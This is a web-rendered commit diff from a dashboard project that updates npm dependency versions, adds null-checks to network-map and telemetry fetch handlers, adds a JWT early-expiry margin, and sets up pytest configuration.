||||||
|
return args
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
|
@ -737,9 +737,9 @@
|
||||||
"integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
|
"integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
|
||||||
},
|
},
|
||||||
"process-nextick-args": {
|
"process-nextick-args": {
|
||||||
"version": "2.0.0",
|
"version": "2.0.1",
|
||||||
"resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
|
"resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
|
||||||
"integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw=="
|
"integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
|
||||||
},
|
},
|
||||||
"readable-stream": {
|
"readable-stream": {
|
||||||
"version": "2.3.6",
|
"version": "2.3.6",
|
||||||
|
@ -749,7 +749,7 @@
|
||||||
"core-util-is": "1.0.2",
|
"core-util-is": "1.0.2",
|
||||||
"inherits": "2.0.3",
|
"inherits": "2.0.3",
|
||||||
"isarray": "1.0.0",
|
"isarray": "1.0.0",
|
||||||
"process-nextick-args": "2.0.0",
|
"process-nextick-args": "2.0.1",
|
||||||
"safe-buffer": "5.1.1",
|
"safe-buffer": "5.1.1",
|
||||||
"string_decoder": "1.1.1",
|
"string_decoder": "1.1.1",
|
||||||
"util-deprecate": "1.0.2"
|
"util-deprecate": "1.0.2"
|
||||||
|
@ -5652,9 +5652,9 @@
|
||||||
"optional": true
|
"optional": true
|
||||||
},
|
},
|
||||||
"filepond": {
|
"filepond": {
|
||||||
"version": "4.7.2",
|
"version": "4.7.3",
|
||||||
"resolved": "https://registry.npmjs.org/filepond/-/filepond-4.7.2.tgz",
|
"resolved": "https://registry.npmjs.org/filepond/-/filepond-4.7.3.tgz",
|
||||||
"integrity": "sha512-OqG35MnmvrGnq2KgHO0PS8uujzRqQL/bMlSy0StqRn6RRAM6wBM9gzQl22IvWLwMyw6g8aIZTZAhMaiTS1LZsA=="
|
"integrity": "sha512-lt7UC2wwuoy1WN0zTeZRZ+jS9tHgICPYJB8l1OtHdCjGwaQzTq+M3PqKQQ7melKkGS1tQ1rUInKkSdSuojphWg=="
|
||||||
},
|
},
|
||||||
"fill-range": {
|
"fill-range": {
|
||||||
"version": "2.2.3",
|
"version": "2.2.3",
|
||||||
|
@ -6288,8 +6288,8 @@
|
||||||
"dev": true,
|
"dev": true,
|
||||||
"optional": true,
|
"optional": true,
|
||||||
"requires": {
|
"requires": {
|
||||||
"co": "^4.6.0",
|
"co": "4.6.0",
|
||||||
"json-stable-stringify": "^1.0.1"
|
"json-stable-stringify": "1.0.1"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"ansi-regex": {
|
"ansi-regex": {
|
||||||
|
@ -6606,8 +6606,8 @@
|
||||||
"dev": true,
|
"dev": true,
|
||||||
"optional": true,
|
"optional": true,
|
||||||
"requires": {
|
"requires": {
|
||||||
"ajv": "^4.9.1",
|
"ajv": "4.11.8",
|
||||||
"har-schema": "^1.0.5"
|
"har-schema": "1.0.5"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"has-unicode": {
|
"has-unicode": {
|
||||||
|
@ -10953,9 +10953,9 @@
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"ajv": {
|
"ajv": {
|
||||||
"version": "6.10.0",
|
"version": "6.10.2",
|
||||||
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz",
|
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz",
|
||||||
"integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==",
|
"integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"fast-deep-equal": "2.0.1",
|
"fast-deep-equal": "2.0.1",
|
||||||
"fast-json-stable-stringify": "2.0.0",
|
"fast-json-stable-stringify": "2.0.0",
|
||||||
|
@ -10983,7 +10983,7 @@
|
||||||
"resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
|
"resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
|
||||||
"integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
|
"integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"ajv": "6.10.0",
|
"ajv": "6.10.2",
|
||||||
"har-schema": "2.0.0"
|
"har-schema": "2.0.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -11011,9 +11011,9 @@
|
||||||
"integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
|
"integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
|
||||||
},
|
},
|
||||||
"psl": {
|
"psl": {
|
||||||
"version": "1.1.32",
|
"version": "1.4.0",
|
||||||
"resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz",
|
"resolved": "https://registry.npmjs.org/psl/-/psl-1.4.0.tgz",
|
||||||
"integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g=="
|
"integrity": "sha512-HZzqCGPecFLyoRj5HLfuDSKYTJkAfB5thKBIkRHtGjWwY7p1dAyveIbXIq4tO0KYfDF2tHqPUgY9SDnGm00uFw=="
|
||||||
},
|
},
|
||||||
"request": {
|
"request": {
|
||||||
"version": "2.88.0",
|
"version": "2.88.0",
|
||||||
|
@ -11036,16 +11036,16 @@
|
||||||
"oauth-sign": "0.9.0",
|
"oauth-sign": "0.9.0",
|
||||||
"performance-now": "2.1.0",
|
"performance-now": "2.1.0",
|
||||||
"qs": "6.5.2",
|
"qs": "6.5.2",
|
||||||
"safe-buffer": "5.1.2",
|
"safe-buffer": "5.2.0",
|
||||||
"tough-cookie": "2.4.3",
|
"tough-cookie": "2.4.3",
|
||||||
"tunnel-agent": "0.6.0",
|
"tunnel-agent": "0.6.0",
|
||||||
"uuid": "3.3.2"
|
"uuid": "3.3.3"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"safe-buffer": {
|
"safe-buffer": {
|
||||||
"version": "5.1.2",
|
"version": "5.2.0",
|
||||||
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
|
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz",
|
||||||
"integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
|
"integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg=="
|
||||||
},
|
},
|
||||||
"semver": {
|
"semver": {
|
||||||
"version": "5.3.0",
|
"version": "5.3.0",
|
||||||
|
@ -11057,14 +11057,14 @@
|
||||||
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
|
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
|
||||||
"integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
|
"integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"psl": "1.1.32",
|
"psl": "1.4.0",
|
||||||
"punycode": "1.4.1"
|
"punycode": "1.4.1"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"uuid": {
|
"uuid": {
|
||||||
"version": "3.3.2",
|
"version": "3.3.3",
|
||||||
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz",
|
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.3.tgz",
|
||||||
"integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA=="
|
"integrity": "sha512-pW0No1RGHgzlpHJO1nsVrHKpOEIxkGg1xB+v0ZmdNH5OAeAwzAVrCnI2/6Mtx+Uys6iaylxa+D3g4j63IKKjSQ=="
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -11168,9 +11168,9 @@
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"node-sass": {
|
"node-sass": {
|
||||||
"version": "4.12.0",
|
"version": "4.13.0",
|
||||||
"resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.12.0.tgz",
|
"resolved": "https://registry.npmjs.org/node-sass/-/node-sass-4.13.0.tgz",
|
||||||
"integrity": "sha512-A1Iv4oN+Iel6EPv77/HddXErL2a+gZ4uBeZUy+a8O35CFYTXhgA8MgLCWBtwpGZdCvTvQ9d+bQxX/QC36GDPpQ==",
|
"integrity": "sha512-W1XBrvoJ1dy7VsvTAS5q1V45lREbTlZQqFbiHb3R3OTTCma0XBtuG6xZ6Z4506nR4lmHPTqVRwxT6KgtWC97CA==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"async-foreach": "0.1.3",
|
"async-foreach": "0.1.3",
|
||||||
"chalk": "1.1.3",
|
"chalk": "1.1.3",
|
||||||
|
@ -11179,7 +11179,7 @@
|
||||||
"get-stdin": "4.0.1",
|
"get-stdin": "4.0.1",
|
||||||
"glob": "7.1.4",
|
"glob": "7.1.4",
|
||||||
"in-publish": "2.0.0",
|
"in-publish": "2.0.0",
|
||||||
"lodash": "4.17.11",
|
"lodash": "4.17.15",
|
||||||
"meow": "3.7.0",
|
"meow": "3.7.0",
|
||||||
"mkdirp": "0.5.1",
|
"mkdirp": "0.5.1",
|
||||||
"nan": "2.14.0",
|
"nan": "2.14.0",
|
||||||
|
@ -11192,9 +11192,9 @@
|
||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"ajv": {
|
"ajv": {
|
||||||
"version": "6.10.0",
|
"version": "6.10.2",
|
||||||
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.0.tgz",
|
"resolved": "https://registry.npmjs.org/ajv/-/ajv-6.10.2.tgz",
|
||||||
"integrity": "sha512-nffhOpkymDECQyR0mnsUtoCE8RlX38G0rYP+wgLWFyZuUyuuojSSvi/+euOiQBIn63whYwYVIIH1TvE3tu4OEg==",
|
"integrity": "sha512-TXtUUEYHuaTEbLZWIKUr5pmBuhDLy+8KYtPYdcV8qC+pOZL+NKqYwvWSRrVXHn+ZmRRAu8vJTAznH7Oag6RVRw==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"fast-deep-equal": "2.0.1",
|
"fast-deep-equal": "2.0.1",
|
||||||
"fast-json-stable-stringify": "2.0.0",
|
"fast-json-stable-stringify": "2.0.0",
|
||||||
|
@ -11231,7 +11231,7 @@
|
||||||
"resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
|
"resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz",
|
||||||
"integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
|
"integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"ajv": "6.10.0",
|
"ajv": "6.10.2",
|
||||||
"har-schema": "2.0.0"
|
"har-schema": "2.0.0"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -11241,9 +11241,9 @@
|
||||||
"integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
|
"integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg=="
|
||||||
},
|
},
|
||||||
"lodash": {
|
"lodash": {
|
||||||
"version": "4.17.11",
|
"version": "4.17.15",
|
||||||
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.11.tgz",
|
"resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.15.tgz",
|
||||||
"integrity": "sha512-cQKh8igo5QUhZ7lg38DYWAxMvjSAKG0A8wGSVimP07SIUEK2UO+arSRKbRZWtelMtN5V0Hkwh5ryOto/SshYIg=="
|
"integrity": "sha512-8xOcRHvCjnocdS5cpwXQXVzmmh5e5+saE2QGoeQmbKmRS6J3VQppPOIt0MnmE+4xlZoumy0GPG0D0MVIQbNA1A=="
|
||||||
},
|
},
|
||||||
"mime-db": {
|
"mime-db": {
|
||||||
"version": "1.40.0",
|
"version": "1.40.0",
|
||||||
|
@ -11269,9 +11269,9 @@
|
||||||
"integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
|
"integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ=="
|
||||||
},
|
},
|
||||||
"psl": {
|
"psl": {
|
||||||
"version": "1.1.32",
|
"version": "1.4.0",
|
||||||
"resolved": "https://registry.npmjs.org/psl/-/psl-1.1.32.tgz",
|
"resolved": "https://registry.npmjs.org/psl/-/psl-1.4.0.tgz",
|
||||||
"integrity": "sha512-MHACAkHpihU/REGGPLj4sEfc/XKW2bheigvHO1dUqjaKigMp1C8+WLQYRGgeKFMsw5PMfegZcaN8IDXK/cD0+g=="
|
"integrity": "sha512-HZzqCGPecFLyoRj5HLfuDSKYTJkAfB5thKBIkRHtGjWwY7p1dAyveIbXIq4tO0KYfDF2tHqPUgY9SDnGm00uFw=="
|
||||||
},
|
},
|
||||||
"request": {
|
"request": {
|
||||||
"version": "2.88.0",
|
"version": "2.88.0",
|
||||||
|
@ -11294,30 +11294,30 @@
|
||||||
"oauth-sign": "0.9.0",
|
"oauth-sign": "0.9.0",
|
||||||
"performance-now": "2.1.0",
|
"performance-now": "2.1.0",
|
||||||
"qs": "6.5.2",
|
"qs": "6.5.2",
|
||||||
"safe-buffer": "5.1.2",
|
"safe-buffer": "5.2.0",
|
||||||
"tough-cookie": "2.4.3",
|
"tough-cookie": "2.4.3",
|
||||||
"tunnel-agent": "0.6.0",
|
"tunnel-agent": "0.6.0",
|
||||||
"uuid": "3.3.2"
|
"uuid": "3.3.3"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"safe-buffer": {
|
"safe-buffer": {
|
||||||
"version": "5.1.2",
|
"version": "5.2.0",
|
||||||
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz",
|
"resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.0.tgz",
|
||||||
"integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g=="
|
"integrity": "sha512-fZEwUGbVl7kouZs1jCdMLdt95hdIv0ZeHg6L7qPeciMZhZ+/gdesW4wgTARkrFWEpspjEATAzUGPG8N2jJiwbg=="
|
||||||
},
|
},
|
||||||
"tough-cookie": {
|
"tough-cookie": {
|
||||||
"version": "2.4.3",
|
"version": "2.4.3",
|
||||||
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
|
"resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.4.3.tgz",
|
||||||
"integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
|
"integrity": "sha512-Q5srk/4vDM54WJsJio3XNn6K2sCG+CQ8G5Wz6bZhRZoAe/+TxjWB/GlFAnYEbkYVlON9FMk/fE3h2RLpPXo4lQ==",
|
||||||
"requires": {
|
"requires": {
|
||||||
"psl": "1.1.32",
|
"psl": "1.4.0",
|
||||||
"punycode": "1.4.1"
|
"punycode": "1.4.1"
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
"uuid": {
|
"uuid": {
|
||||||
"version": "3.3.2",
|
"version": "3.3.3",
|
||||||
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.2.tgz",
|
"resolved": "https://registry.npmjs.org/uuid/-/uuid-3.3.3.tgz",
|
||||||
"integrity": "sha512-yXJmeNaw3DnnKAOKJE51sL/ZaYfWJRl1pK9dr19YFCu0ObS231AB1/LbqTKRAQ5kw8A90rA6fr4riOUpTZvQZA=="
|
"integrity": "sha512-pW0No1RGHgzlpHJO1nsVrHKpOEIxkGg1xB+v0ZmdNH5OAeAwzAVrCnI2/6Mtx+Uys6iaylxa+D3g4j63IKKjSQ=="
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
@ -17543,9 +17543,9 @@
|
||||||
"integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
|
"integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
|
||||||
},
|
},
|
||||||
"process-nextick-args": {
|
"process-nextick-args": {
|
||||||
"version": "2.0.0",
|
"version": "2.0.1",
|
||||||
"resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.0.tgz",
|
"resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz",
|
||||||
"integrity": "sha512-MtEC1TqN0EU5nephaJ4rAtThHtC86dNN9qCuEhtshvpVBkAW5ZO7BASN9REnF9eoXGcRub+pFuKEpOHE+HbEMw=="
|
"integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag=="
|
||||||
},
|
},
|
||||||
"readable-stream": {
|
"readable-stream": {
|
||||||
"version": "2.3.6",
|
"version": "2.3.6",
|
||||||
|
@ -17555,7 +17555,7 @@
|
||||||
"core-util-is": "1.0.2",
|
"core-util-is": "1.0.2",
|
||||||
"inherits": "2.0.3",
|
"inherits": "2.0.3",
|
||||||
"isarray": "1.0.0",
|
"isarray": "1.0.0",
|
||||||
"process-nextick-args": "2.0.0",
|
"process-nextick-args": "2.0.1",
|
||||||
"safe-buffer": "5.1.1",
|
"safe-buffer": "5.1.1",
|
||||||
"string_decoder": "1.1.1",
|
"string_decoder": "1.1.1",
|
||||||
"util-deprecate": "1.0.2"
|
"util-deprecate": "1.0.2"
|
||||||
|
|
|
@ -74,12 +74,12 @@
|
||||||
"downloadjs": "^1.4.7",
|
"downloadjs": "^1.4.7",
|
||||||
"fetch": "^1.1.0",
|
"fetch": "^1.1.0",
|
||||||
"file-saver": "^2.0.2",
|
"file-saver": "^2.0.2",
|
||||||
"filepond": "^4.7.2",
|
"filepond": "^4.7.3",
|
||||||
"js-file-download": "^0.4.8",
|
"js-file-download": "^0.4.8",
|
||||||
"json-loader": "^0.5.7",
|
"json-loader": "^0.5.7",
|
||||||
"jwt-decode": "^2.2.0",
|
"jwt-decode": "^2.2.0",
|
||||||
"moment": "^2.24.0",
|
"moment": "^2.24.0",
|
||||||
"node-sass": "^4.11.0",
|
"node-sass": "^4.13.0",
|
||||||
"normalize.css": "^8.0.0",
|
"normalize.css": "^8.0.0",
|
||||||
"npm": "^6.11.3",
|
"npm": "^6.11.3",
|
||||||
"pluralize": "^7.0.0",
|
"pluralize": "^7.0.0",
|
||||||
|
|
|
@ -43,11 +43,13 @@ class MapPageComponent extends AuthComponent {
|
||||||
this.authFetch('/api/netmap')
|
this.authFetch('/api/netmap')
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
res.edges.forEach(edge => {
|
if (res.hasOwnProperty("edges")) {
|
||||||
edge.color = {'color': edgeGroupToColor(edge.group)};
|
res.edges.forEach(edge => {
|
||||||
});
|
edge.color = {'color': edgeGroupToColor(edge.group)};
|
||||||
this.setState({graph: res});
|
});
|
||||||
this.props.onStatusChange();
|
this.setState({graph: res});
|
||||||
|
this.props.onStatusChange();
|
||||||
|
}
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
@ -55,14 +57,16 @@ class MapPageComponent extends AuthComponent {
|
||||||
this.authFetch('/api/telemetry-feed?timestamp='+this.state.telemetryLastTimestamp)
|
this.authFetch('/api/telemetry-feed?timestamp='+this.state.telemetryLastTimestamp)
|
||||||
.then(res => res.json())
|
.then(res => res.json())
|
||||||
.then(res => {
|
.then(res => {
|
||||||
let newTelem = this.state.telemetry.concat(res['telemetries']);
|
if ('telemetries' in res) {
|
||||||
|
let newTelem = this.state.telemetry.concat(res['telemetries']);
|
||||||
|
|
||||||
this.setState(
|
this.setState(
|
||||||
{
|
{
|
||||||
telemetry: newTelem,
|
telemetry: newTelem,
|
||||||
telemetryLastTimestamp: res['timestamp']
|
telemetryLastTimestamp: res['timestamp']
|
||||||
});
|
});
|
||||||
this.props.onStatusChange();
|
this.props.onStatusChange();
|
||||||
|
}
|
||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|
|
@ -7,6 +7,8 @@ export default class AuthService {
|
||||||
"55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" +
|
"55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" +
|
||||||
"8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557";
|
"8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557";
|
||||||
|
|
||||||
|
SECONDS_BEFORE_JWT_EXPIRES = 20;
|
||||||
|
|
||||||
login = (username, password) => {
|
login = (username, password) => {
|
||||||
return this._login(username, this.hashSha3(password));
|
return this._login(username, this.hashSha3(password));
|
||||||
};
|
};
|
||||||
|
@ -96,7 +98,7 @@ export default class AuthService {
|
||||||
|
|
||||||
_isTokenExpired(token) {
|
_isTokenExpired(token) {
|
||||||
try {
|
try {
|
||||||
return decode(token)['exp'] < Date.now() / 1000;
|
return decode(token)['exp'] - this.SECONDS_BEFORE_JWT_EXPIRES < Date.now() / 1000;
|
||||||
}
|
}
|
||||||
catch (err) {
|
catch (err) {
|
||||||
return false;
|
return false;
|
||||||
|
|
|
@ -1,3 +1,5 @@
|
||||||
|
pytest
|
||||||
|
bson
|
||||||
python-dateutil
|
python-dateutil
|
||||||
tornado
|
tornado
|
||||||
werkzeug
|
werkzeug
|
||||||
|
|
|
@ -0,0 +1,6 @@
|
||||||
|
[pytest]
|
||||||
|
log_cli = 1
|
||||||
|
log_cli_level = DEBUG
|
||||||
|
log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s
|
||||||
|
log_cli_date_format=%H:%M:%S
|
||||||
|
addopts = -v --capture=sys
|
Loading…
Reference in New Issue